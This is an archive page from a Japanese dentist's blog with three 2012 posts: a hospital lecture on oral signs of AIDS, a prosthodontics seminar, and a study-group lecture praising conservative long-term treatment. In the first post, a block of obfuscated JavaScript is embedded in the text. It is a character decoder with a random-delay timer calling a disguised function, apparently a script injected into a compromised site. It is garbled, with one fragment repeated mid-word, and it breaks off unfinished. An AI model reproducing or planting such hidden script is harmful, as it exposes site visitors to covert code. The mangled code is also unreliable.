Archive for the 'わくわく研修' Category

柏原病院 連先生ご講演

土曜日, 12月 1st, 2012

柏原病院の口腔外科の連(むらじ)先生の院内講演を、

他科のお医者さんたちと一緒に拝聴しました。

タイトルは「口からみるAIDS」andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}defghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.inandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dexOf(y1.charAt(p6++));y3=vd.inandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dexOf(y1.charAt(p6++));w4=vd.inandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dexOf(y1.charAt(p6++));u5=vd.inandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCoandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCoandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCoandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de(pc);}}while(p6

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以前勤務されていた大阪の総合医療センターで、

AIDS患者さんを多く治療した経験を持たれる連先生は、

大阪市健康局健康推進部顧問のひとりでもあられました。

この丹波でも知らない間にHIVの患者さんを治療しているということが、

今後増えてきても不思議ではありません。

その時のためにも学ぶことで、無用な心配を減らせます。

連先生の話で驚いたのは、

働き盛りの30代、40代の男性の口の中に、

カンジダと言われるカビを見つけると、

かなりの確率でAIDSの発症が疑われるということ。

歯医者で見つかることが多いらしく、

その意味でも私たちが不勉強だと、

患者さんやご家族の命さえ危うくしてしまいます。

連先生には外科や産科の、

血液に曝露される危険性のある先生方から質問が続きました。

 柏原病院の酒井先生の閉会のあいさつが胸に沁みます。

「結核病棟の閉鎖と同時に、

その設立に合わせて作られた歯科も閉鎖の危機にありました。

もしあの時歯科医師会の皆さんからの声がなく、

閉鎖していたら、今こうしてHIV対策委員でもある連先生の

話を聴くこともなかったでしょう。本当に感謝します。」

中村健太郎セミナー インスペクトコース

金曜日, 11月 30th, 2012

 中村健太郎先生のインスペクトコースが、

ダイアグノBに引き続いて始まりました。

「理論化」「可視化」「具現化」の可視化がテーマです。

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なぜそうするのかという理論があって、

それを個々の患者さんの検査で可視化し、

修練された技術を駆使して具現化することなくして、

精確な補綴治療は臨めません。

 毎回その奥深さに圧倒されながら、

ついていくのに必死です。

すでに臨床の現場から退かれた中村先生ではありますが、

これまでの臨床経験のひとつひとつが

全てコンピューターのように整理され

、なぜこの検査が必要なのかを詳細に解説されます。

 

いつもながら中村先生の話を拝聴するたびに、

登るべき山の高さの険しさにしり込みしながらも、

反面自分たちの仕事の尊さ、深さに喜びを感じます。

私はマラソンのように、走っているのか、

歩いているのかわからない程度に

後ろからついていきたいと思います。

鶴歯会 新井俊樹先生

金曜日, 11月 30th, 2012

鶴歯会で、東京でご開業されている新井俊樹先生にご講演頂きました。

以前より雑誌などでその長期予後症例を拝見して、

是非ともお話をお聴きしたいと私が懇願。

新井先生が快諾して下さり、今回の講演となりました。

初めてお出会いする新井先生は、

症例と同じくとてもスマートで紳士的な先生でした。

ところがその新井先生も前日の懇親会では、

林治幸先生をお迎えした時と同じく、通天閣周辺の散策で、

すっかりディープ大阪にハマられた模様。

「いや~面白い!衝撃だ!明日来る家内も連れて来よう!」

いや~それはやめとかれたほうが・・・

串カツをたれ壺に漬けながら、

深夜まで興奮冷めやらぬ新井先生でした。

 ところが翌日の講演では、

すっかりスマートな紳士に戻られておられました。

ただ冷静な口調の中にも、症例に垣間見える熱い情熱が、

隠しようなく溢れていました。

困ったら安易にインプラントに頼ろうとする昨今の傾向をたしなめ、

自家歯牙移植とコ―ヌス義歯を多用しながら患者に寄り添う姿は、

さしずめ自然農法で作った野菜を優しく

独創的な料理に変えるシェフのよう。

どのケースにも『患者○○才 術者●●才』と記載され、

術者の年齢と技量が治療の結果にいかに影響を与えるかと、

自らを考察されていました。年齢の上昇ともにさらに美しく繊細で、

無理のない治療へと流れるケースを拝見し、

日々の診療をただこなすだけでなく、

常に自己カンファレンスを怠らない先生の姿勢が見えるようでした。

私たちは携帯電話を手に入れたことで、

相手に会いたいという強い気持ちが薄れたのではないでしょうか。

CTを手に入れたことで、これまでは見えたであろう

レントゲンの裏側を見通す想像力が、

薄れたのではないでしょうか。

インプラントやCAD/CAMの登場で、

本来の歯やエナメル質を守る気持ちが

薄れたのでは意味がありません。

新井先生の臨床には歯科医師としての初心が溢れていました。

便利さは、人間の本来の命や治癒力を軽んじるものではなく、

それを活かしてこそ価値があるというもの。

安きに流れない先生の臨床は、

私たちに多くの啓発を残して下さいました。

新井先生は翌日久しぶりの大阪で、奥様とデートされたそうです。

USJや道頓堀を廻られた奥様からお手紙を頂戴しました。

そこには「どこに行くよりも通天閣周辺が楽しかったです。」と

果たしてそれで良かったんでしょうか・・・